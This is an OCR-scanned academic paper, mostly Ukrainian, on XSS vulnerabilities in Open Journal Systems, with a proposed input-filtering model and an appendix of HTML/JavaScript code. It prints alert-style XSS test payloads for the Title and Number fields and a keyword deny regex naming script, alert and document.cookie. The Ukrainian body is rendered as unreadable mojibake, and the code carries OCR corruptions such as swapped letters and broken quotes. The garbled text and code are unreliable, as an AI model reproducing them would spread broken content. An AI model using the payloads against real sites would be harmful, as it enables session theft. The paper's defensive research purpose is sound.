you enter the name of the document.cookie function in the string, the user will get cookie
data.

Analyzing the above, XSS attacks remain a serious threat to web applications. Being
aware of the real threat, thoroughly validating and sanitizing data, using a CSP policy,
regularly inspecting JavaScript code, and setting flags are necessary measures to avoid an
XSS attack. If at least some of these measures are implemented, it will already help to
mitigate the consequences of a potential attack.

No matter the size of the organization that has a web application, it's important that
developers apply best practices to ensure robust security. Especially given the speed of
technology development, the ways of introducing attacks can change, so we need to be ready
for new challenges and implement new protection models to ensure the reliability of web

application.
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This paper discusses the importance of ensuring security in web applications in
today's business environment and provides a specific example of a protection model
against XSS attacks using the Open Journal System (OJS) as a case study. It also proposes
an effective protection model against XSS attacks for specific fields in the OJS system.
This paper serves as a valuable source of information for web application developers and
those interested in cybersecurity issues in the online environment.

KirodoBi cimoBa — XSS araka, mojaens 3axucty, OJS, BeO101aTKH, BPa3IMBOCTI.

Beryn

be3sneka BeOMOmATKIB € Ba)XJIMBOKO CKJIQZOBOIO 3a0e3leyeHHs CTaOUILHOIO Ta
e(eKkTHBHOrO (YYHKI[IOHYBAaHHS KOMITaHI, HE3AJIE)KHO BiJ TOrO, UM 1€ Majaui Oi3HEC, UM
BEJIMKa KOPIIOpaIlis.

Ha choromuimHiid 1eHb, Maii’ke KOXHA OpraHizailisi Ma€e CBii Be010aTOK, HA SIKOMY
KOPHUCTYBa4l MIOJHS 3aJMIINAIOTh CBOT KOH(IISHIIWHI JlaHl, HAPUKJIAA, TIPU peecTpartii
BKa3yroThcs email-angpecu abo Homepu TenedoniB. s Toro, 1mod KOpUCTyBadi JOBIpSIIH

cBOi KOH(1ACHIIIMHI JaH1 BJaCHUKaM BeOCalTIB, BapTO 3a0€3MEUYUTH MOBHOIIIHHY O€3MeKy
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sl X gaHuX. Skmo 3abe3nedeHHs Oe3meky Oyjae HE Ha BUCOKOMY PiBHI, 1€ MOXKE
MPU3BECTH 10 CEPHO3HUX HACHIJIKIB AJIs O13HECY

Moaean 3axucty OJS Big XSS arak

3abe3neueHHs Oe3neku BeOJ01aTKIB Mepedadae He JHIIe TEXHIYHI 3aX0/11 3aXHCTY,
a W MIaHyBaHHA Pi3HUX cCTpaTerid Oe3MeKw, BKIIOYAr0YW HAaBYAHHS TICPCOHATY, AyIHUT
0e3MeKH Ta BIPOBAHKEHHS MOJITUKHN OE3MEKH.

Onniero 13 HeOe3nedHux 3arpo3 it Beix BeOmomatkiB € XSS. XSS (Cross-site
scripting) — 1ie araka, sika 3aBJSKM BUKOPUCTAHHIO BPa3JIMBOCTI B BEOJOAATKY, JTO3BOJISE
BIIPOBA/IUTH 3JI0BMHUCHUMN KO/ B KOJ caiiTy. IcHye AexinpKka TUMiB 1iei ataku [1].

BimoO6paxkena XSS — 1me araka, ska Tmepemnbadae JOAaBaHHS KOPHCHOTO
HaBaHTaxxeHHs a0 URL-anpecu BeOcropinku. Ilpm HaTthckaHHI Ha 1€ TOCHJIAHHSA,
KOPHUCTYBa4 NEPEXOIUTh Ha BEOCTOPIHKY, 1 pe3yJbTaTH aTakH BIAOOPaXKarOThCs OApa3y Ha
it BeOcTopinmi [1].

30epexena XSS — 11e araka, sika nependadyae BBEJACHHS 3T0BMUCHOTO KOAY B TOJIS
(dbopMu Ha BeOCTOPIHIII, 1 30epiraHHs BBEJACHHUX JaHUX B 0a3i TaHUX, MIiCJIA iX Bianpasku [1].

DOM XSS - ne araka, sika nependadae BBEJACHHS 3JIOBMHUCHOTO KOJY B BEPCTKY
BEOCTOPIHKH 3a JJOITOMOTOK0 BUKOpHCcTaHHs BpasnmuBocTeit B HTML Ta JS cropinku [1].

OJS (Open Journal System) — e mporpamHe pillIeHHs, SIKE J03BOJIIE€ KEPYBATH BCIM
MPOIIECOM CTBOPEHHS Ta MyOmikarlii HayKoBUX poOIT abo xypHamiiB. 3a mormomoror OJS
aBTOP IMyO KAl MOXKE 3aBAHTAXKUTH CBOIO POOOTY, BKa3aTH BCl HEOOX1IH1 TOAATKOBI JaHi.
[Ticnst iboro po6OTa MPOXOIUTH PEIIEH3YBAHHS, PelaryBaHHs, MyOJIIKAIlil0 Ta aBBTOMATUUIHY
iHaekcanio. {1 KOXHOTO eTamy CTBOPIOIOTHCS POJi, Taki SIK PEIaKTOPH, aBTOPH,
perieH3eHTH. KOoXHIN poji HamarOThCSA CBOI MpaBa, HANMPHUKIAA, PEAAKTOP MOXKE JIHIIE
penaryBatu poOOTy, ajie He Mo)ke OaunTh poOOTH, SKI Hapas3l 3HAXOIATHCS Ha eTarll
perieH3yBaHHSI. ABTOP MOXKE JIUIIIE OAYWTH TIPOIIEC OTMpaIlfoBaHHS HOro poOoTH, TOOTO Ha
SIKOMY €Tarll 3HaXOUThCs Horo podoTta [2].

OJS € 1oBOJII MOMIKUPEHOI0 CUCTEMOIO, 1i BUKOPUCTOBYIOTH MO BCHOMY CBITY IS
MPUIIBUAILLICHHS Tpolecy oOpoOku Ta myOsikanid poOit. Tomy 3abe3neueHHs Oe3neku

JaHOI'O cepBicy € BAXXJIMBOIO 3a1a4CIO.



93

3a gac icayBanHs OJS Oyn0 BUSABICHO YMMAJIO BPA3JIMBOCTEH B Iill CHCTEMI, 1€ HE
mume BpasznuBocTi XSS. Ilpore B Bepcii OJS no 2.3.6 Oyno BusiBneHO naekiibka XSS
BpasznuBocteit [3]:

1.Bximgni TaHi, K1 MepeaaroOThCS y daiin
/lib/pkp/lib/tinymce/jscripts/tiny mce/plugins/ibrowser/ibrowser.php He  CKUIAIOThCA
(ouHnIIaOTHCA ) IEPET TOBEPHEHHSIM BIAMOBI I KOpUCTyBadeBi. Lle Mo)kHA BUKOpUCTATH JIs
BUKOHaHHS Oyb-skoro koxy HTML 1 310BMuCHOTO KOy B ceaHci Opay3epy KOprUCTyBaya.

2. Bxigni npai, sxi nepenarothes B mapamerp URL B daitn index.php He ckugaroThes
(oummiaroThes) mepes 30epekeHHsIM B 0a31 JaHUX, TOMY BiJIIpaBJeH] JaH1 30epiraloTbes B
0a3i 1 e npu3BoauTh 10 Stored XSS aTaku.

3.®yukuis  stripUnsafeHtml() y daitmi /lib/pkp/classes/core/String.inc.php, sika
MOBMHHA OYMINATHA J@HI KOPUCTYBAYiB IICJsA iX BIANPAaBKH, HE BUKOHYE OUMILIEHHS
HaJICKHUM YUHOM. Uepes 11e, BBE/ICHI JaH1 KOPUCTYBaviB 30€piratoThCsl, 0 MPU3BOJAUTH J0
Oaratbox Stored XSS arak y BCix CKpuIiTax, 1e BUKIUKaeThes GyHKiis stripUnsafeHtml().

[Ticnist BUABICHHS IUX BPa3IMBOCTEN, BOHU OyJIM BUIIPABJICHI pO3POOHUKAMHU, TPOTE
JUTsl HACTYITHUX BEpCi He OyJo >koAHOoi 3rajgku rnpo XSS BpaznuBocTi 10 2024 poky. Ha
nouatrky 2024 poky Oyiio BUABIECHO AeKUIbKa HOBUX XSS BpaznuBoctell (Stored XSS ta
Reflected XSS) [4].

Jlo HOBUX BpaslIMBOCTEH BITHOCATHCS [4]:

1. B Submission mpu BBeieHHI IIKIJTMBOTO HABaHTaXEHHS B oJie Title, Hampukas,
<img onerror="alert(1)”>, i micns #oro 30epekeHHs BUCBIYyeThcs moman (Pop-up) i3
TeKCcTOM «1», 110 Oyno goxano B noje Title. I{e Stored XSS.

2. Bpa3nuBicTh aHAJOTiYHA JO TEPIIoi, MPOTE TEHEp BPA3JIMBHM IIOJIEM € TOJC
Subtitle.

3. B mnone Preffered Pulbic Name npu BBeaeHHI MIKiIJIMBOTO HABaHTAXCHHS,
HaJalITyBaHHs 30€pIraloThes, 1 MCHISI MPU3HAYEHHS JaHO1 0CO0H, SIK aBTOpa abo perakropa
myOJiKaIi HaJCWIA€ThCS TOBIIOMJICHHS, 110 HEOOXigHE MiATBEpKEeHHS aBTopa. [lpu
Mepexo/ii Ha 11e MOBIIOMIICHHS 3aIyCKA€ThCS IIKIIJTMBE HABAHTAXKECHHS, IKe OYyJIO BBEJCHO

B oJie Preffered Pulbic Name.
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4. Y Workflow y Bxmamami Production e moxxinuBicTs mogatu auckycito. [Tpu BBeieHH1

IIKIJJTMBOTO HaBaHTaKeHHs B mmoyst Subject ta Message 1iei muckycii motpiOHo 30epertu
JMCKYCIIO, ITICJIS Ha3Ba JUCKYCIi 0/pa3y BUBEJACTHCS B CIIUCOK JAMCKYCii. [Ipu HaTHCKaHHI
Ha Ha3By BiIkpueTbcs moman (Pop-up) 3 HamamTyBaHHSMH HUCKYCIi Ta 3aIyCTUTHCS
IIKiJTMBE HaBaHTa)KCHHSL.

Cxosxwuii 6ar Oyno 3HaieHo pu TecTyBaHHI pi3HUX Bepcid OJS, y Bkmazaii ISSue.
Jliist Toro, mo0 BiATBOPUTH Iiek Oar, moTpiOHO cTBOpHTH HOBe ISsue, ta B mossix Number
abo Title mpomucaTy MIKIJUIMBE HaBaHTa)KeHHs, Hampukiaan B moje Number momatu
«<script> alert(‘number’) </script>», a B mone Title momatm «<script> alert(‘title’)
</script>», 1mo0 MokHa OyJIO PO3PI3HUTH, 3 SIKOTO IOJIA OyJIO 3amyIieHe IIKiIINBE
HaBaHTaXeHHA. [licis uporo, moTpidHO 30epertu ISsue, iioro Ha3Ba oApaszy 3’SIBUTHCS B
circky Bcix Issues. [Ipu HatuckanHi Ha Ha3By ISSUE BimkpueThbes criodatky alert BikHO 3
TekcToM “number”, a motiM BigkpueTbes alert Bikao 3 Tekcrom “title”. Le Bce BinOyBa€eThes,
tomy mo mnomnamn (Pop-up) dopmyerbcst TUHaMiuHO 1 TEKCT, SIKUM BKJIIOYAE HOMEp Ta
3aronoBok Issue BcraBmsgeTses sk HTML xon, a He sk 3BUYaliHUM TEKCT.

s Toro, mo6 3aXMCTUTHCH Bif 1€l XSS aTaku, Imia yac SKOi 3JJOBMHCHHUK MOJXKE
BCTaBUTH IIKIIMBHUH Ko B mojs Title Ta Number, Gymo po3pobineHo edexkTnBHY MOIeIh
3aXHUCTY.

Mopnens mpornoHye Jekiibka BapiaHTiB 3axucty. Jua mons “Number” motpiGHO
BBECTH TaKl epeBipku/oomexeHHs (puc.l):

* BBECTM TEPEBIPKYy Ha HASIBHICTb CHUMBOJIB “< “ ‘“>” gKki 3a3BU4Yaili He
BUKOPHCTOBYIOTHCS JIsl TIO3HAYCHHSI HOMEPY;

* BBECTH KOJYBAHHS CUMBOJIB ‘> “<” 11100 YHUKHYTHU BIIPOBA>KEHHSI TETIB SCript B
KOJI CTOPIHKH, SIKIIIO HEMOJIMBO IMOBHICTIO MPUOPATH I1i CAMBOJIH 3 3aTOJIOBKY;

* 3a00pPOHUTH BBOJUTH JIITEPHU, OCKUIBKH MoJie “Number” Mae MICTUTH Julie nudpu
1 MOXKJITMBO PO3JAUTIOBATIBHI CUMBOJIH TaKi sIK qedic Ta THUPE;

* SIKIIIO TTOTP10HO 3aJUIITUTH JO3B1I HA BBEACHHS JIITEP B 11€ MOJIE, TO MOTPIOHO BBECTH
MepeBIPKY Ha HasIBHICTh HEOe3MeuyHuX KOHCTpYKIiM JavaScript, Taki sk “alert()”, “script”,
onclick Ta iHII, SKI MOXYTh CIPUUYMHUTH 3aMyCK IIKIIJIMBOTO KOAY MPH HAaTHCKaHHI Ha

HOoMep Issue.
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Jlst monst “Title” moTpiOHO BBECTH Taki 0OMeKeHHSs/TIepeBipku (puc.2):

* BBECTHU MEPEBIPKY HA HASBHICTH 3JIOBMHUCHHUX KOHCTPYKIi# JavaScript koxy, ki
MOXYTbh MICTUTHU TerH “‘script”, pyukii alert, innerHTML Ta inmux ¢ynxuiii JavaScript;

* BBECTU KOAYBaHHS CUMBOJIB “>" “<”, 11100 YHUKHYTHU BIIPOBAKEHHsI TET1B SCript B
KOJI CTOPiHKH, SIKIIIO HEMOXKJIMBO MMOBHICTIO TPUOPATH 11i CUMBOJIIH 3 3aT0JIOBKY.

Takoxx Mozens MOXXHA JONOBHUTH 3aXOJaMH, fKi IependayaloTh BHUBEICHHS
3aronoBKy a7s Issue He y Burmsini HTML po3miTku, a y BUTIIAII 3BUMAHHOTO TEKCTY, 100

3amo0IrTH BIPOBAKEHHIO aTaKH.

BxigHi gaui

Number

<script> alert(‘number’) </script>

O6MmexeHHA 40 cumBonis

Buxigni gani

Number

o)

Pucynok 1 — 3aranena Mmoaens 3axucty moist “Number”

BxigHi gaui

Title

<script> alert(‘title’) </script>

BuxigHi paui

Title

PucyHok 2 — 3aransHa Mojiens 3axucty mois “Title”

BucHoBok
AHaniz BpaznmmBoctei y Bepcisix OJS mokazaB HEOOXITHICTH MOCTIHHOTO

MOHITOPUHTY Ta OHOBJICHHSI 3aX0/11B O€3IeKH JJIsl 3a100iraHHs HOBUM aTtakam. PearyBaHHs
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Ha BUSBJICHI BPA3JIMBOCTI IUISIXOM BHUIPABICHHS iX Ta BIOPOBAIKEHHS 3aXOJIB OE3IMEKU €
KPUTHYHUM 1 3a0e31eyeHHs 0e3MeKu KOPUCTYBauiB Ta CTab1IbHOCTI BEOCUCTEMH.
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JIOJIATOK B

Koa nporpamu

Kox ctBopenoi BeocTopinku issue-form.html
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<IDOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Issue form</title>
<link rel="stylesheet" href="issue.css">
</head>
<body>
<div class="page-overflow"></div>
<div class="issue-wrapper">
<div class="container">
<div class="issue-top">
<div class="issue-h1">Issues</div>
<div class="issue-new">Create new</div>
</div>
<div class="issues-list">
<div class="issue-item">
<div class="issue-title">lssue Management: VVol. 1 No. 1 Example</div>
</div>
</div>
<div class="issue-form">
<div class="issue-form__title">Create Issue</div>
<div class="form-input">

<label for="numberInput">Number</label>
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<input type="text" id="numberlnput">
</div>
<div class="form-input">
<label for="titleInput">Title</label>
<input type="text" id="titlelnput">
</div>
<div class="submit-btn">Submit</div>

</div>

<div class="issue-form edit-issue">
<div class="issue-form__title">Issue No <span class="edit-
issue__num™></span>
<span class="edit-issue__name"></span>
</div>
<div class="form-input">
<label for="numberInputl">Number</label>
<input type="text" id="numberInputl">
</div>
<div class="form-input">
<label for="titlelnput1">Title</label>
<input type="text" id="titlelnputl">
</div>
<div class="submit-btn">Submit</div>
</div>
</div>

</div>

<script src="issue.js"></script>
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</body>

</html>

Koz ckpumitiB st 00poOK#H Mo i BeOCTOpiHKH ISSUE. |S

// BusnaueHHs BCiX 3MIHHUX

let createlssueBtn = document.querySelector('.issue-new');

let editlssueBtn = document.querySelectorAll('.issue-title");

let createlssuePopup = document.querySelector('.issue-form’);
let editlssuePopup = document.querySelector('.edit-issue’);

let pageOverflow = document.querySelector('.page-overflow’);

let issueLists = document.querySelector('.issues-list');

// Obpobka nojii HaTucKkaHHS Ha KHOMKY "Create new"
if (createlssueBtn){
createlssueBtn.addEventListener('click’, function(){
if (createlssuePopup){
createlssuePopup.classList.add(‘active");
}
If (pageOverflow){

pageOverflow.classList.add(‘active’);

)

// O6poOka moii HaTUCKaHHS Ha Cipuid (POH, STKHI 3'IBISIE€THCS MPU BIIKPUTTI BIKHA 3
dhopmoro
if (pageOverflow){

pageOverflow.addEventListener(‘click’, function(){
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pageOverflow.classList.remove(‘active’);
createlssuePopup.classList.remove('active');

editlssuePopup.classList.remove(active");

)

// O6poOKka mo1ii HaTUCKaHHS Ha 3ar0JIOBOK CTBOPEHOTO Issue
If (editlssueBtn){
editlssueBtn.forEach(btn=>{
btn.addEventListener('click’, function(){
if (editlssuePopup){
editlssuePopup.classList.add('active’);

}

pageOverflow.classList.add(‘active’);

let editNum = document.querySelector('.edit-issue__num');
let editNumInput = document.querySelector(‘#numberinputl’);
let editTitleInput = document.querySelector(‘#titlelnputl’);

let editTitle = document.querySelector('.edit-issue__name');

editNum.innerText = localStorage.getltem("number");
editNumInput.value = localStorage.getltem("number");
editTitle.innerText = localStorage.getltem("title™);

editTitlelnput.value = localStorage.getltem("title™);

H;
b

// O6pobKa Mol HaTUCKaHHs Ha KHOMKY Submit

let submitBtn = document.querySelectorAll(*.submit-btn’);
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if (submitBtn){
submitBtn.forEach(btn=>{
btn.addEventListener(‘click’, function(){
sanitizeSubmit();
b
by,

// ®yHK11s1 0OpOOKH OB BBOY
function sanitizeSubmit() {
// OTprMaHHsI 3HaYE€Hb 3 MOJIIB BBOAY
let numberField = document.getElementByld(‘'numberinput’).value;

let titleField = document.getElementByld('titlelnput’).value;

// CaniTH3al1is Ta Bajialis JaHUX 3 OB BBOTY
numberFieldResult = sanitizelnputNumber(numberField);
titleFieldResult = sanitizelnput2(titleField);

// 3akpuTTs nonaiy 3 (opmMoro
if (createlssuePopup){
createlssuePopup.classList.remove(‘active');

pageOverflow.classList.remove(‘active");

// CTBOpeHHs HOBOTO Issue Ta BUBEICHHS HOTO B CITHMCOK
let newlssue = document.createElement('div');
newlssue.className = 'issue-item’;

let newlssueName = document.createElement('div’);

newlssueName.className = 'issue-title";
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newlssueName.innerText = 'Issue Management: Vol. 1'+ "'+ 'No. ' +
numberFieldResult + ' ' + titleFieldResult;

newlssue.appendChild(newlssueName);

issueL.ists.appendChild(newlssue);

localStorage.setltem(*'number”, numberFieldResult);

localStorage.setltem("title", titleFieldResult);

function sanitizelnputl(input) {
// 3amina 'script', 'alert' Ta iHIIMX HEOE3MEYHUX CIIIB HA MMOPOXKHIN PSAAOK

return input.replace(/script|>|<|alert|document.cookie|onclick/gi, ");

function sanitizelnput2(input) {
// KogyBaHHSI CUMBOJIIB

return encodeURIComponent(input);

function sanitizelnputNumber(input) {
// BuialieHHs BCIX JITEp Ta CUMBOJIIB < >
let numberNew = input.replace(/[<>a-zA-Za-sA-S1]/g, ");

return numberNew;




